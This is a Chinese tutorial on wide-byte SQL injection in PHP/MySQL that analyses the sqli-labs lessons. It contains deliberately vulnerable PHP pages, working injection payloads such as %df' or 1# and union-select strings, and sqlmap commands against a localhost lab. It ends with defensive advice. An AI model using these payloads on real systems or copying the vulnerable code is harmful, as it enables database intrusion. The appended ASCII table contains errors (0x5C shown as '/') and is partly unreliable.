对宽字节的深入了解
01 背景知识
字符集
在了解宽字节注入之前,我们先来看一看字符集是什么。字符集也叫字符编码,是一种将符号转换为二进制数的映射关系。
几种常见的字符集:
-
ASCII
编码:单字节编码 -
latin1
编码:单字节编码 -
gbk
编码:使用一字节和双字节编码,0x00-0x7F
范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
-
UTF-8
编码:使用一至四字节编码,0x00–0x7F
范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出
echo strlen("和");
来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。 除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。
02 概述
首先我们了解下宽字节注入,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
数据提交到MySQL数据库,需要进行字符集的转换,使得MySQL数据库可以对数据进行处理,这一过程一般有以下三个步骤:
- 收到请求,将请求数据从
character_set_client
->character_set_connection
。- 内部操作,将数据从
character_set_connection
->表创建的字符集
。- 结果输出,将数据从
表创建的字符集
->character_set_results
。当执行
set names "charset"
,相当于执行set character_set_client = charset
set character_set_connection = charset
set character_set_results = charset
client 指的是PHP程序
connection 指的是PHP客户端与MySQL服务器之间连接层
results 指的是MySQL服务器返回给PHP客户端的结果MySQL常见的乱码问题就是这三个字符集的设置不当所引起的。
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
- (1) character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。
- (2) character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。
- (3) character_set_database:数据库缺省编码字符集。
- (4) character_set_filesystem:文件系统编码字符集。
- (5) character_set_results:SQL语句执行结果编码字符集。
- (6) character_set_server:服务器缺省编码字符集。
- (7) character_set_system:系统缺省编码字符集。
- (8) character_sets_dir:字符集存放目录,一般不要修改。
宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。
例如说PHP的编码为 UTF-8 而 MySql的编码设置为了
SET NAMES 'gbk' 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
03 addslashes
,mysql_real_escape_string的区别
(1) ASCII(NULL)字符\x00,
(2) 换行字符\n,addslashes不转义
(3) 回车字符\r,addslashes不转义
(4) 反斜杠字符\,
(5) 单引号字符‘,
(6) 双引号字符“,
(7) \x1a,addslashes不转义
1.AddSlashes()
首先来观察一下是如何通过构造吃掉转义字符的
先将less 34的网页编码换成gbk
加上一些输出
echo "Before addslashes(): " . $uname1 . "<br/>";
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
echo "After addslashes(): " . $uname . "<br/>";
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
echo "SQL Statement: " . $sql . "<br/>";
POST提交
uname=%df' or 1#&passwd=1
%df即ASCII码十六进制为df的字符 ß
(注:%df为URL编码,URL编码即是255个ASCII字符的十六进制数值加上一个前置的%,可参考:http://www.w3school.com.cn/tags/html_ref_urlencode.html)
POST提交
uname=ß' or 1#&passwd=1
可以的到和提交%df一样的效果
现在来观察一下页面的输出
Before addslashes(): �' or 1# After addslashes(): 運' or 1#
(注意在网页编码为UTF-8的时候 運 字是无法被显示的)
After addslashes(): �\' or 1#
addslashes()函数只是对单引号进行了转义处理,df字符没有做任何处理,在网页编码为GBK时,df 和 \ 字符合并成了一个gbk字符 運
在注入操作的时候,合并的过程是在MYSQL执行查询操作的时候
SELECT username, password FROM users WHERE username='�\' or 1#' and password='1' LIMIT 0,1#注意此时输入的引号并没有引发闭合
mysql_query("SET NAMES gbk");#由于客户端指定了编码gbk
SELECT username, password FROM users WHERE username='運' or 1#' and password='1' LIMIT 0,1#查询语句由utf-8转向gbk编码,df 和 5c (即\)合并成为了一个gbk字符
理解了这个过程,再来看看GBK编码,编码的范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,字符 \ 的ASCII码为5C,在其低位范围内,就可能被吃掉,并且能吃掉它的字符不仅只有0xdf
取一个实验一下(参考: http://www.bo56.com/gbk汉字内码扩展规范编码表)
比如 乗 字符,GBK编码 815C
那么构造
uname=%81' or 1#&passwd=1
另外,GB2312编码范围是A1A1-FEFE,其中汉字编码范围:B0A1-F7FE,即高位A1~FE,低位A1~FE,字符 \ 的ASCII码为5C,不在其低位范围内,自然不会被吃掉。
2.mysql_real_escape_string()
Less 36和Less 34用一样的payload注入,因此看不出来addslashes()和mysql_real_escape_string()的区别
参考:http://www.laruence.com/2010/04/12/1396.html
解释一下这个输出,
addslashes函数读取每个字节,915c按照两个字节读取,发现5c后进行转义: 915c --> 915c5c
控制台为gbk编码所以显示 慭\
第二个第三个输出都是一个原理
对于mysql_real_escape_string()函数,需要注意在使用mysql_set_charset("gbk")后,没有进行转义操作(注意看上面的代码),
也就是说mysql_real_escape_string()函数正确读取了gbk字符(而不是两个ASCII字符,需要注意UTF-8对于ASCII字符的编码是和ASCII码相同的),
前面三种都属于一种 “误转义” ,因此,对于宽字节注入,可以使用第四种方式避免
来实验一下
参考:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>mysql_real_escape_string</title>
</head>
<body>
<?php
$conn = mysql_connect("localhost", "root", "toor") or die("Error!");
//mysql_query("SET NAMES 'gbk'"); //mysql_set_charset包含了这个操作
mysql_select_db("security", $conn);
mysql_set_charset("gbk", $conn);
$id = isset($_GET["id"]) ? mysql_real_escape_string($_GET["id"]) :1;
$sql = "SELECT * FROM users WHERE id='{$id}'";
echo $sql. "<br/>";
$result = mysql_query($sql, $conn) or die(mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['username']}</h2>";
mysql_free_result($result);
?>
</body>
</html>
【1】正常提交
http://localhost/1.php?id=1
【2】单引号提交(正确转义)
【3】尝试注入宽字节
如果引号闭合成功,union select 会返回结果,页面会有输出
http://localhost/1.php?id=0%df' union select 1,2,3%23
并没有得到输出(因为mysql_set_charset("gbk", $conn);先进行了编码)
先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入。
上文中代码使用了mysql_set_charset(“gbk”)
来设置编码,他会修改mysql对象中的mysql->charset属性为设置的字符集。
同时配套的过滤函数为mysql_real_escape_string()
。mysql_real_escape_string()
会根据mysql对象中的mysql->charset属性来对待传入的字符串,因此可以根据当前字符集来进行过滤。
来使用sqlmap测试一下
python sqlmap.py -u http://localhost/mysql_real_escape_string.php?id=1 --tamper unmagicquotes.py --dbms mysql
3.character_set_client=binary 和 iconv()
参考此处:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#005-iconv
使用character_set_client=binary来避免宽字节注入,但误用iconv()函数导致的注入问题,可能发生在搜索框中
先看一下测试代码
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>iconv_utf2gbk</title>
</head>
<body>
<?php
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
$conn = mysql_connect("localhost", "root", "toor") or die("Error!");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("security", $conn);
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
$id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
// iconv(string $in_charset , string $out_charset , string $str )
@$id = iconv('utf-8', 'gbk', $id);
echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
$sql = "SELECT * FROM users WHERE id='{$id}'";
echo $sql. "<br/>";
$result = mysql_query($sql, $conn) or die(mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['username']}</h2>";
mysql_free_result($result);
?>
</body>
</html>
一些正常的请求
(注意语句执行是成功的,只是没有查询结果而已)
一个可能造成注入的请求
http://localhost/iconv_utf82gbk.php?id=錦
出现了MySQL的报错,注意SQL语句,\' 是 ' 的转义,用来闭合的单引号被转义了,SQL语句没有闭合,所以出现错误
来看一下产生的原因,錦 的UTF8编码为e98ca6(三个字节),GBK编码为e55c,character_set_client=binary使得 ' 被 5c 转义,语句没有闭合
同样,GBK编码低位为5c的都可以造成这个错误,運 GBK编码 df5c
那么利用这个5c,就可以造成注入了,
构造这个请求
http://localhost/iconv_utf82gbk.php?id=運'%23
没有了错误,addslashes()函数转义了' 转义的\ 和5c 形成了一个新的转义(\的转义为\\),我们输入的 ' 成功闭合了语句,原来用来闭合的 ' 被 # 注释
http://localhost/iconv_utf82gbk.php?id=運' union select 1,database(),3%23
转换:(UTF-8:
e9%81%8b 转GBK为 %df%5c
)%e9%81%8b
%27
====>(addslashes)====>%e9%81%8b
%5c
%27
====(iconv)====>%df%5c%5c%27
可以看到,多出了一个%5c
,将转义符(反斜杠)本身转义,使得后面的%27
单引号发挥了作用 (注:反斜杠的优先级高,所以%df%5c%5c优先变为%df\\
)
sqlmap并不能发现这个注入点
>python sqlmap.py -u http://localhost/iconv_utf82gbk.php?id=1 -tamper unmagicquotes.py --dbms mysql
同样的,gbk转向utf-8时也会出现类似的漏洞
测试代码如下
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>iconv_gbk2utf</title>
</head>
<body>
<?php
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
$conn = mysql_connect("localhost", "root", "toor") or die("Error!");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("security", $conn);
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
$id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
// iconv(string $in_charset , string $out_charset , string $str )
@$id = iconv('gbk', 'utf-8', $id);
echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
$sql = "SELECT * FROM users WHERE id='{$id}'";
echo $sql. "<br/>";
$result = mysql_query($sql, $conn) or die(mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['username']}</h2>";
mysql_free_result($result);
?>
</body>
</html>
构造请求
http://localhost/iconv_gbk2utf8.php?id=1%e5%27%23
变回了一个普通的宽字节注入,e55c(GBK) 通过iconv函数转向了 e98ca6(UTF-8)
转义的 \ 在编码转换中消失了
http://localhost/iconv_gbk2utf8.php?id=0%e5' union select 1,database(),3%23
4.总结一下
1.宽字节注入跟HTML页面编码无关。
2 Mysql编码与过滤函数推荐使用
mysql_real_escape_string()
,mysql_set_charset()
。
3 addslashes()函数和mysql_real_escape_string()函数并不等价,addslashes()函数无法抵御宽字节注入,配置正确的mysql_real_escape_string()函数可以抵御宽字节注入,但对于整型注入,这两个函数都无能为力。
4 错误的使用iconv()函数可能使得转义字符被吃掉,造成注入点。
附一个255位的ASCII码表
Bin Dec Hex 缩写/字符 解释
0000 0 00 NUL (null) 空字符
0001 1 01 SOH (start of handing) 标题开始
0010 2 02 STX (start of text) 正文开始
0011 3 03 ETX (end of text) 正文结束
0100 4 04 EOT (end of transmission) 传输结束
0101 5 05 ENQ (enquiry) 请求
0110 6 06 ACK (acknowledge) 收到通知
0111 7 07 BEL (bell) 响铃
1000 8 08 BS (backspace) 退格
1001 9 09 HT (horizontal tab) 水平制表符
1010 10 0A LF (NL line feed, new line) 换行键
1011 11 0B VT (vertical tab) 垂直制表符
1100 12 0C FF (NP form feed, new page) 换页键
1101 13 0D CR (carriage return) 回车键
1110 14 0E SO (shift out) 不用切换
1111 15 0F SI (shift in) 启用切换
0000 16 10 DLE (data link escape) 数据链路转义
0001 17 11 DC1 (device control 1) 设备控制1
0010 18 12 DC2 (device control 2) 设备控制2
0011 19 13 DC3 (device control 3) 设备控制3
0100 20 14 DC4 (device control 4) 设备控制4
0101 21 15 NAK (negative acknowledge) 拒绝接收
0110 22 16 SYN (synchronous idle) 同步空闲
0111 23 17 ETB (end of trans. block) 传输块结束
1000 24 18 CAN (cancel) 取消
1001 25 19 EM (end of medium) 介质中断
1010 26 1A SUB (substitute) 替补
1011 27 1B ESC (escape) 溢出
1100 28 1C FS (file separator) 文件分割符
1101 29 1D GS (group separator) 分组符
1110 30 1E RS (record separator) 记录分离符
1111 31 1F US (unit separator) 单元分隔符
0000 32 20 空格
0001 33 21 !
0010 34 22 "
0011 35 23 #
0100 36 24 $
0101 37 25 %
0110 38 26 &
0111 39 27 '
1000 40 28 (
1001 41 29 )
1010 42 2A *
1011 43 2B +
1100 44 2C ,
1101 45 2D -
1110 46 2E .
1111 47 2F /
0000 48 30 0
0001 49 31 1
0010 50 32 2
0011 51 33 3
0100 52 34 4
0101 53 35 5
0110 54 36 6
0111 55 37 7
1000 56 38 8
1001 57 39 9
1010 58 3A :
1011 59 3B ;
1100 60 3C <
1101 61 3D =
1110 62 3E >
1111 63 3F ?
0000 64 40 @
0001 65 41 A
0010 66 42 B
0011 67 43 C
0100 68 44 D
0101 69 45 E
0110 70 46 F
0111 71 47 G
1000 72 48 H
1001 73 49 I
1010 74 4A J
1011 75 4B K
1100 76 4C L
1101 77 4D M
1110 78 4E N
1111 79 4F O
0000 80 50 P
0001 81 51 Q
0010 82 52 R
0011 83 53 S
0100 84 54 T
0101 85 55 U
0110 86 56 V
0111 87 57 W
1000 88 58 X
1001 89 59 Y
1010 90 5A Z
1011 91 5B [
1100 92 5C /
1101 93 5D ]
1110 94 5E ^
1111 95 5F _
0000 96 60 `
0001 97 61 a
0010 98 62 b
0011 99 63 c
0100 100 64 d
0101 101 65 e
0110 102 66 f
0111 103 67 g
1000 104 68 h
1001 105 69 i
1010 106 6A j
1011 107 6B k
1100 108 6C l
1101 109 6D m
1110 110 6E n
1111 111 6F o
0000 112 70 p
0001 113 71 q
0010 114 72 r
0011 115 73 s
0100 116 74 t
0101 117 75 u
0110 118 76 v
0111 119 77 w
1000 120 78 x
1001 121 79 y
1010 122 7A z
1011 123 7B {
1100 124 7C |
1101 125 7D }
1110 126 7E ~
1111 127 7F DEL (delete) 删除
Extended ASCII
80 ?
81 �
82 ‚
83 ƒ
84 „
85 …
86 †
87 ‡
88 ˆ
89 ‰
8A Š
8B ‹
8C Œ
8D �
8E Ž
8F �
90 �
91 '
92 '
93 "
94 "
95 o
96 -
97 -
98 ˜
99 ™
9A š
9B ›
9C œ
9D �
9E ž
9F Ÿ
A0
A1 ¡
A2 ¢
A3 £
A4 ¤
A5 ¥
A6 ¦
A7 §
A8 ¨
A9 ©
AA ª
AB «
AC
AD
AE ®
AF ¯
B0 °
B1 ±
B2 ²
B3 ³
B4 ´
B5 µ
B6
B7 ·
B8
B9 ¹
BA º
BB »
BC ¼
BD ½
BE ¾
BF ¿
C0 À
C1 Á
C2 Â
C3 Ã
C4 Ä
C5 Å
C6 Æ
C7 Ç
C8 È
C9 É
CA Ê
CB Ë
CC Ì
CD Í
CE Î
CF Ï
D0 Ð
D1 Ñ
D2 Ò
D3 Ó
D4 Ô
D5 Õ
D6 Ö
D7 ×
D8 Ø
D9 Ù
DA Ú
DB Û
DC Ü
DD Ý
DE Þ
DF ß
E0 à
E1 á
E2 â
E3 ã
E4 ä
E5 å
E6 æ
E7 ç
E8 è
E9 é
EA ê
EB ë
EC ì
ED í
EE î
EF ï
F0 ð
F1 ñ
F2 ò
F3 ó
F4 ô
F5 õ
F6 ö
F7 ÷
F8 ø
F9 ù
FA ú
FB û
FC ü
FD ý
FE þ
FF ÿ
以wiki上的图为准
本文参考:
【sqli-labs】 对于less34 less36的宽字节注入的一点深入
SQL注入防御绕过——宽字节注入
PHP宽字节注入
魔术引号、addslashes和mysql_real_escape_string的防御以及绕过